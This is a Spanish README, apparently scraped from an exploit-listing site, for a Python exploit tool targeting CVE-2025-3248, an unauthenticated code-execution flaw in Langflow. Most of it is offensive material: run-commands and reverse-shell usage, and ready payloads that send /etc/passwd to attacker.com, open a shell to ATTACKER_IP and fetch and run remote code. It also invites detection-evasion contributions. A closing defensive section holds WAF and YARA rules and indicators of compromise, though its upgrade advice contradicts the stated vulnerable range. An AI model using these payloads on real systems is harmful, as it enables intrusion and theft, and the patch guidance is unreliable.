CVE-2025-3248: Escáner de Vulnerabilidad RCE No Autenticada en Langflow

Un framework integral de explotación en Python para probar y demostrar CVE-2025-3248, una vulnerabilidad crítica de ejecución remota de código no autenticada en versiones de Langflow ≤ 1.3.0.

🔴 Resumen de la Vulnerabilidad

CVE-2025-3248: Inyección de Código RCE en Langflow

Causa Raíz

La vulnerabilidad se encuentra en el endpoint de API /api/v1/validate/code, que acepta código Python arbitrario y lo valida mediante la insegura función exec() de Python, sin la sanitización de entradas ni el sandboxing adecuados. La vulnerabilidad explota el comportamiento de Python en el que:

1. Los decoradores se evalúan inmediatamente durante la definición de la función
2. Los valores de argumentos por defecto se ejecutan durante el análisis del Árbol de Sintaxis Abstracta (AST)
3. No existe validación de entradas que impida la ejecución de código malicioso

Cadena de Ataque

Attacker → POST /api/v1/validate/code → Python exec() → RCE
     ↓
   No Auth Required
     ↓
   Arbitrary Python Code
     ↓
   System Command Execution

✨ Características

• ✅ Detección de Endpoints: Identifica automáticamente instancias vulnerables de Langflow
• ✅ Pruebas en Múltiples Etapas: 4 pruebas progresivas de vulnerabilidad
• ✅ Ejecución de Comandos: Ejecuta comandos arbitrarios del sistema en el objetivo
• ✅ Extracción de Variables de Entorno: Recupera variables de entorno y configuración
• ✅ Operaciones de Archivos: Prueba las capacidades de lectura/escritura de archivos
• ✅ Soporte de Reverse Shell: Abre sesiones interactivas de reverse shell
• ✅ Detección de Versión: Identifica la información de versión de Langflow
• ✅ Salida con Códigos de Color: Legibilidad mejorada con colores de terminal
• ✅ Gestión de Timeouts: Timeouts de petición configurables
• ✅ Omisión de SSL/TLS: Soporte para certificados autofirmados

📦 Requisitos

Python >= 3.7
requests >= 2.25.0

Instalar Dependencias

pip install requests

Opcional (para un mejor registro)

pip install colorama  # For Windows color support

🚀 Instalación

Método 1: Clonar desde GitHub

git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py

📖 Uso

Sintaxis Básica

python3 cve_2025_3248_test.py -t <target_url> [options]

Ejemplos de Inicio Rápido

1. Escaneo Básico de Vulnerabilidad

python3 cve_2025_3248_test.py -t http://target.com

2. Ejecutar un Comando Personalizado

python3 cve_2025_3248_test.py -t http://target.com -c "whoami"

3. Ejecutar Múltiples Comandos

python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"

4. Explotación con Reverse Shell (Solo Pruebas Autorizadas)

Paso 1: Inicia un listener de netcat en tu máquina

nc -lvnp 4444

Paso 2: Ejecuta el exploit

python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444

Ejemplo:

python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444

5. Escaneo con Timeout Personalizado

python3 cve_2025_3248_test.py -t http://target.com --timeout 30

Argumentos de Línea de Comandos

positional arguments:
  None

optional arguments:
  -t, --target TARGET       Target URL (e.g., http://target.com) [REQUIRED]
  -c, --command COMMAND     Command to execute (default: id)
  --timeout TIMEOUT         Request timeout in seconds (default: 10)
  --exploit                 Enable exploitation mode (reverse shell)
  --lhost LHOST            Your IP address for reverse shell
  --lport LPORT            Your port for reverse shell
  -h, --help               Show this help message

💾 Variaciones de Payloads

1. Ejecución Basada en Decoradores

payload = {
    "code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
    pass
"""
}

2. Ejecución de Argumentos por Defecto

payload = {
    "code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
    pass
"""
}

3. Exfiltración de Datos

payload = {
    "code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
    pass
"""
}

4. Reverse Shell (En Una Línea)

payload = {
    "code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
    pass
"""
}

5. Operaciones de Lectura de Archivos

payload = {
    "code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
    pass
"""
}

6. Enumeración de Variables de Entorno

payload = {
    "code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
    pass
"""
}

7. Descargar y Ejecutar

payload = {
    "code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
    pass
"""
}

🔍 Detección y Mitigación

Para Defensores

Acciones Inmediatas

1. Actualizar Langflow

   root@kitploit:~

   pip install langflow>=1.3.0
   # or
   docker pull langflow:latest
   

2. Restringir el Acceso a la Red

   root@kitploit:~

   # Nginx reverse proxy - block vulnerable endpoint
   location /api/v1/validate/code {
       deny all;
   }
   

3. Implementar Autenticación

   root@kitploit:~

   # Add authentication middleware
   @app.middleware("http")
   async def auth_middleware(request, call_next):
       if "/api/v1/validate/code" in request.url.path:
           if not verify_auth(request):
               return JSONResponse(status_code=401)
       return await call_next(request)
   

Reglas WAF

Regla de ModSecurity:

SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"

Reglas de Detección

Firma YARA:

rule CVE_2025_3248_Langflow_RCE {
    strings:
        $api_path = "/api/v1/validate/code"
        $exec = "exec("
        $subprocess = "subprocess"
        $os_system = "os.system"
    condition:
        $api_path and any of ($exec, $subprocess, $os_system)
}

Monitoreo y Registro

# Monitor for suspicious requests
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"

# Alert on POST requests to vulnerable endpoint
auditctl -w /var/lib/langflow -p wa -k langflow_changes

Indicadores de Compromiso (IoCs)

• Peticiones POST inusuales a /api/v1/validate/code
• Procesos generados desde Langflow con nombres sospechosos
• Conexiones salientes inesperadas desde el servidor Langflow
• Archivos creados con marcas de tiempo inusuales en /tmp
• Ejecución de subprocesos Python desde el proceso de Langflow
• Fallos de autenticación seguidos de peticiones API
• Pico en el uso de CPU/Memoria del contenedor Langflow

🔬 Análisis Técnico

Cómo Funciona la Vulnerabilidad

La cadena de la vulnerabilidad funciona de la siguiente manera:

# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json

{
    "code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}

# Server processes it:
exec(code)  # ← Dangerous! No sanitization

# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')

# Result: Arbitrary command execution

Por Qué Funcionan los Decoradores

El comportamiento de Python con los decoradores durante la definición de funciones:

# This code gets executed immediately:
@decorator_expression
def my_function():
    pass

# Which means this payload executes the code:
@exec("malicious_code_here")
def vulnerable_function():
    pass

Por Qué Es Crítica

1. No Requiere Autenticación: Cualquiera puede acceder al endpoint
2. Accesible por Red: Puede explotarse de forma remota
3. Acceso Total al Sistema: Se ejecuta con los privilegios del proceso de Langflow
4. Sin Validación de Entradas: Ejecución directa de código
5. Ampliamente Desplegado: Se utiliza en entornos de producción
6. Alta Disponibilidad de Exploits: Existen POCs públicos

📊 Cronología de la Vulnerabilidad

🛡️ Lista de Verificación para Pruebas Defensivas

Al realizar pruebas de seguridad autorizadas:

• Obtener autorización escrita antes de realizar las pruebas
• Documentar todas las actividades de prueba
• Usar entornos de prueba aislados cuando sea posible
• Evitar explotar sistemas de producción innecesariamente
• Limpiar cualquier artefacto (archivos, procesos) creado durante las pruebas
• Reportar los hallazgos de manera responsable a la organización objetivo
• Seguir prácticas de divulgación responsable
• Mantener la confidencialidad de los resultados de las pruebas

📚 Referencias

• Blog de OffSec: Análisis de CVE-2025-3248
• SentinelOne: Inyección de Código RCE en Langflow
• Zscaler ThreatLabz: Vulnerabilidad RCE CVE-2025-3248
• TrendMicro: Explotación del Botnet FLODRIC
• RecordedFuture: Informe de Explotación Activa
• Exploit-DB: RCE en Langflow 1.3.0
• GitHub Advisories: GHSA-c995-4fw3-j39m

🤝 Contribuciones

¡Las contribuciones son bienvenidas! Por favor, sigue estas pautas:

1. Haz un fork del repositorio
2. Crea una rama de funcionalidad (git checkout -b feature/amazing-feature)
3. Haz commit de tus cambios (git commit -m 'Add amazing feature')
4. Sube los cambios a la rama (git push origin feature/amazing-feature)
5. Abre una Pull Request

Ideas de Contribución

• Variaciones adicionales de payloads
• Técnicas alternativas de explotación
• Métodos de evasión de detección
• Estrategias de mitigación
• Mejoras de documentación
• Correcciones de errores

⚠️ Aviso Legal

AVISO LEGAL IMPORTANTE:

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ILEGAL y viola leyes, entre las que se incluyen:

• Computer Fraud and Abuse Act (CFAA) - EE. UU.
• Computer Misuse Act - Reino Unido
• Information Technology Act (ITA) - India
• Leyes similares en su jurisdicción

Usted es el único responsable de:

• ✅ Obtener autorización escrita y explícita de los propietarios de los sistemas antes de realizar las pruebas
• ✅ Asegurarse de que todas las actividades cumplen con las leyes locales e internacionales
• ✅ Usar esta herramienta únicamente en sistemas que usted posea o para los que tenga permiso de prueba
• ✅ Mantener la confidencialidad de los hallazgos de seguridad
• ✅ Seguir prácticas de divulgación responsable
• ✅ No usar esta herramienta con fines maliciosos

Al usar esta herramienta, usted acepta:

• No usarla para acceso no autorizado o daños
• Aceptar la plena responsabilidad legal por sus acciones
• Indemnizar y eximir a los creadores de cualquier responsabilidad
• Cumplir con todas las leyes y regulaciones aplicables

Los creadores y contribuyentes NO ASUMEN NINGUNA RESPONSABILIDAD por el mal uso de esta herramienta.

📖 Recursos Adicionales

Materiales de Aprendizaje

• Inyección de Código OWASP
• CWE-94: Control Inadecuado de la Generación de Código
• Seguridad en Python: Peligros de exec()
• Técnicas de Reverse Shell

Última Actualización: 21 de noviembre de 2025

╔═══════════════════════════════════════════════════════════╗
║  CVE-2025-3248: Langflow RCE Vulnerability Scanner v1.0  ║
║  Use Responsibly - Authorized Testing Only               ║
╚═══════════════════════════════════════════════════════════╝